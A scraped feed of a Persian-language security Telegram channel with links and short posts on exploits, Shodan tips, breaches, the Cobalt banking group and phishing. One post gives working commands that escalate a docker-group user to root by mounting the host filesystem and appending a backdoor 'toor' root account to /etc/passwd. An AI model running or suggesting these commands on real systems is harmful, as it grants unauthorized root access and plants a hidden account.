Unpatched ALPC Priv Esc Bug in Windows 10 x64 PoC


#windows
#privesc
#exploit
#poc


@sec_nerd

Traversing Path to RCE

https://hawkinsecurity.com/2018/08/27/traversing-the-path-to-rce/


#exploit
#web
#pentest
#writeup
#rce
#burpsuite


@sec_nerd

انتشار نسخه جدید لینوکس کالی با بروزرسانی کرنل، اضافه شدن ابزار و فیکس شدن مشکل باگهای Spectre و Meltdown

https://bit.ly/2PMJFxO

#kali
#Pentest


@sec_nerd

انتشار نسخه جدید جوملا به همراه سه وصله برای سه آسیب پذیری امنیتی

#joomla
#web

@sec_nerd

NATO OSINT handbook

#osint
#nato
#ebook

@sec_nerd

وبسایتی که ادعا میکند بهترین و واقعی ترین صداهای انسان را تولید میکند!

https://lyrebird.ai/

(فکر کنم اولین چیزی که به ذهن شما هم رسیده، استفاده از این سرویس برای مهندسی اجتماعی تلفنی هست!)


#social_engineering


@sec_nerd

اختلال در اینترنت کشور از ساعاتی پیش

#outage
#iran

@sec_nerd

جرج گاروفانو که پیش از این اقدام به نفوذ به حسابهای iCloud بیش از ۲۰۰ ستاره هالیوود از جمله جنیفر لارنس کرده بود، به هشت ماه زندان و سه سال آزادی مشروط و ۶۰ ساعت خدمات اجتماعی محکوم شد.
او با ارسال ایمیلهای فیشینگی که بنظر میرسید از سوی اپل باشند، درخواست نام کاربری و پسورد از افراد میکرد.
جنیفر لارنس به مجله Vanity Fair گفت : من پذیرفته ام که قربانی جنایت جنسی شده ام.

منبع:
https://news.sky.com/story/jennifer-lawrence-nude-photo-hacker-jailed-for-eight-months-11485374


#news
#icloud
#hollywood
#usa


@sec_nerd

قوانین انطباق و جایگزینی در burpsuite

https://matthewsetter.com/write-burp-suite-match-and-replace-rules/?platform=hootsuite

#burpsuite
#pentest
#tamper
#web

@sec_nerd

هفت نکته برای آغاز کار با موتور جستجوی اینترنت اشیاء shodan:

۱- درک bannerها:‌ باید بدانید که هر پورت که نماینده یک سرویس است، اغلب اطلاعاتی را از سرویس مربوطه نمایش میدهد، این اطلاعات میتواند شامل نسخه سرویس و پلتفرم باشد. صاحبان سرورها میتوانند برای گول زدن هکرها و موتورهای جستجو اطلاعات نادرستی نیز به آنها ارائه دهند.

۲- مطالعه کتاب «راهنمای shodan» که در این لینک موجود است :https://leanpub.com/shodan

۳- تهیه اکانت در این وبسایت. اکانتهای وبسایت shodan از رایگان تا چندصد دلار در ماه در دسترس هستند و میتوانید با توجه به نیاز خود، اقدام به ساخت حساب نمایید. پلن های پولی این وبسایت امکانات زیاد، فیلترهای متنوع و دیتاست های کاملتری را در اختیار شما میگذارند. حتی فیلتر vuln در پلن ۲۹۹ دلاری قابلیت جستجوی اکسپلویتهای ثبت شده برای هر سرویس را نیز دارا میباشد که این سرویس فقط در اختیار دانشگاه ها یا بیزینس های معتبر قرار میگیرد.

۴- استفاده از api این موتور جستجو، قابلیت ها و خروجی های بهتری را در اختیار شما میگذارد. این خروجی ها میتواند بصورت مستقیم در سیستم های مدیریت امنیت و آنالیزورها بکارگرفته شود.

۵-جستجوهای هدفمند و استفاده درست از فیلترها قدرت بیشتری به شما میدهد. با تهیه حساب ۴۹ دلاری و مادام العمر، میتوانید از فیلترهای مفید زیادی بهره ببرید. نمونه کوچکی از فیلترها را در لینک زیر ببینید:
https://github.com/coreb1t/awesome-pentest-cheat-sheets/blob/master/docs/shodan.md


۶- استفاده از shodan به تنهایی کارساز نیست. زمانی که شما دستگاه هدف خود را در این موتور پیدا میکنید، برای شناخت بهتر این دستگاه و دانستن جزییات آن، نیاز به گوگل و موتورهای جستجوی دیگر دارید و در این زمینه shodan نمیتواند به شما کمک کند و نام کاربری و پسورد پیش فرض دستگاه را به شما نشان دهد!

۷- استفاده از دو سرویس map و images این موتور جستجو به شما کمک میکند تا از متن های طولانی و گیج کننده خلاص شوید و زمانی که به دنبال کشف آسیب پذیری ها یا توزیع دستگاهها در گستره جهانی هستید، با تصاویر و نقشه ها درک بهتری از وضعیت بدست آورید.


🌺🌺 کپی برداری فقط با ذکر منبع 🌺🌺


اطلاعات بیشتر:
ubm.io/2Cg2uXF


#shodan
#iot
#pentest
#sec_nerd

@sec_nerd

چگونگی تاثیرگذاری بات های توییتری تحت کنترل روسها و ارائه اطلاعات غلط توسط آنها

#twitter
#russia
#bot
#election


@sec_nerd

Every consequence. Every key stroke. Everything has lead to this. The final season of #MrRobot arrives in 2019.

#news

@sec_nerd

اطلاعات ۲۰ هزار کاربر اپلیکیشن موبایلی Air Canada توسط هکرها مورد نفوذ قرار گرفت.
این رقم در حال زیاد شدن بود و هکر ناشناس قصد داشت وارد حسابهای بیشتری شود که با مشاهده لاگین های مشکوک، کارشناسان ایر کانادا حسابها را قفل و روند پیشرفت این هکر یا هکرها را متوقف کرده اند.

https://www.bleepingcomputer.com/news/security/air-canada-mobile-app-users-affected-by-data-breach/

#news
#breach
#canada


@sec_nerd

Out of Band Exploitation (OOB) CheatSheet

https://www.notsosecure.com/oob-exploitation-cheatsheet/


#oob
#web
#pentest
#must_read

@sec_nerd

لیستی از آسیب پذیری های وب اپلیکیشن ها و روش های اکسپلویت کردن و دور زدن محدودیت ها

https://github.com/swisskyrepo/PayloadsAllTheThings


#web
#pentest
#exploit

@sec_nerd

معرفی گروه هکرهای زیرزمینی Cobalt

این گروه برای نخستین بار در سال ۲۰۱۶ با سرقت پول نقد از دستگاه های خودپرداز با روش jackpotting شناسایی شد.
روش jackpotting با آلوده سازی دستگاه خودپرداز به بدافزار صورت میپذیرد.
گروه کبالت بصورت تخصصی سیستم های پرداخت، بانکها و سازمانهای تجاری را هدف قرار میدهد و این اهداف تاکنون در ۱۵ کشور قرار داشته اند.
در سال ۲۰۱۶ این هکرها تعداد زیادی ATM را در اروپا بصورت ریموت آلوده کردند. کشورهایی نظیر انگلیس، روسیه،رومانی، هلند، اسپانیا و ... از قربانیان این حمله بودند.
این بدافزار که بنظر میرسد ساخت گروه Buhtrap ATM gang باشد تنها از بانکهای روسیه، طی سالهای ۲۰۱۵ و ۲۰۱۶ مبلغ ۲۸ میلیون دلار سرقت کرد!
سال گذشته هکرهای کبالت با استفاده از آسیب پذیری CVE-2017-11882 که مربوط به آفیس بود و در تمامی نسخه های ویندوز کار میکرد، اقدام به ارسال ایمیل های فیشینگ و الصاق داکیومنتهای آلوده RTF و آلوده سازی اهداف خود کردند.
آنها در سال ۲۰۱۷ یک زنجیره تامین را در روسیه آلوده کردند. آنها همچنین از نسخه دستکاری شده باج افزار #petya برای پاک کردن ردپاهای خود استفاده میکردند.
در سال ۲۰۱۸ این هکرها بیکار نبودند و بازهم با هدف قراردادن کارمندان بانکها با حملات فیشینگ، سیستم های بانکی را آلوده کردند. آنها در طی یک عملیات دو ماهه موفق شدند مبلغ ۶۰۰ هزار دلار از بانکهای قزاقستان سرقت کنند.
در ماه آگوست نیز کبالت، دو بانک را در روسیه و رومانی مورد هدف قرار داد. در این حمله آنها از بکدورهای جاوا اسکریپتی استفاده کردند. در گامهای بعدی این بکدور اقدام به اتصال به دامینهای مختلف و دانلود فایلهای آپدیت و بدافزارهای دیگر میکند.



https://securityaffairs.co/wordpress/75793/cyber-crime/cobalt-campaign-russia-romania.html


#cobalt
#banking
#malware
#russia
#usa
#jackpotting

@sec_nerd

undying will ...

#90s
#fun

@sec_nerd

در لینک زیر خواهید دید چگونه میتوان با استفاده از موتور جستجوی shodan و یافتن دستگاههای Dreambox (دریم باکس شرکت تولید کننده رسیور و ست تاپ باکس است) در نهایت با توجه به وجود آسیب پذیری در این دستگاهها، قادر به اجرای دستور با سطح دسترسی روت خواهید بود.


https://the-infosec.com/2017/07/05/from-shodan-to-rce-opendreambox-2-0-0-code-execution/


#shodan
#iot
#rce
#dreambox
#pentest

@sec_nerd

اگر به یک سیستم لینوکسی دسترسی دارید و id کاربر شما نشان میدهد که شما عضو گروه docker نیز هستید، میتوانید با دستورات زیر سطح دسترسی خود را در کانتینرها به روت افزایش دهید:

$> docker run -it --rm -v $PWD:/mnt bash

دستور زیر حسابی با نام کاربری toor و پسورد password اضافه خواهد کرد:

#> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd


#docker
#linux
#privesc
#trick

@sec_nerd

گزارشات امریکایی ها نشان میدهد که روسها در حال فعالیت بر روی نقاط ضعف این کشور برای تاثیرگذاری بر روی انتخابات میان دوره ای هستند.
روش اصلی بکار گرفته شده توسط روسها spear phishing است که در آن ایمیلهایی حاوی لینکهایی به وبسایتهای جعلی قرار دارد. روسها با این روش موفق شدند کمیته ملی دموکراتها را پیش از این هک کنند.
با توجه به انتشار عمومی بدافزارهایی که از آژانس های اطلاعاتی دزدیده شده اند، حال هکرها میتوانند به راحتی اطلاعات ارزشمند و حجیمی را از افراد سرقت کنند. تنها هفته پیش مایکروسافت ۶ دامنه جعلی را که گویا توسط روسها رجیستر شده بودند بلاک کرد.
به لطف جهانی سازی نام دامنه ها، حالا به هر زبانی میتوان دامنه ساخت و این به هکرها کمک میکند تا با استفاده از علائم خاص (homoglyphs)‌ و گول زننده دامین های جعلی ای ثبت کنند که تشخیص آن در نگاه اول حتی برای کارشناسان امنیت و اینترنت نیز آسان نیست. (نمونه این مورد را در تبلیغ تلگرامی آدیداس و بی ام و دیده اید)
داستان زمانی تلخ تر میشود که این دامین های جعلی با گواهینامه های دیجیتال (https) اعتمادسازی بی نظیری را در قربانی خود ایجاد میکنند. برای مثال تنها در سال گذشته ۱۵ هزار وبسایت ترکیبی از نام paypal را داشتند و گواهینامه دیجیتال دریافت کرده بودند.
بنظر میرسد بکارگیری یک چارچوب شفافیت برای تشخیص اعتبار گواهینامه های دیجیتال و حتی نام دامنه ها و صفحات شبکه های اجتماعی الزامی میباشد.
در نهایت آموزش افراد بسیار حائز اهمیت بوده و باید در اولویت قرار گیرد.

منبع:
https://edition.cnn.com/2018/09/01/opinions/spear-phishing-has-become-even-more-dangerous-opinion-vishwanath/index.html


#news
#usa
#russia
#iran
#electron
#dnc
#spear_phishing

@sec_nerd

فایرفاکس در نسخه های بعدی خود تمامی اسکریپتهای ماینر را بلاک خواهد کرد!

https://bit.ly/2PwZlV7

#firefox
#miner
#btc
#malware
#coinhive

@sec_nerd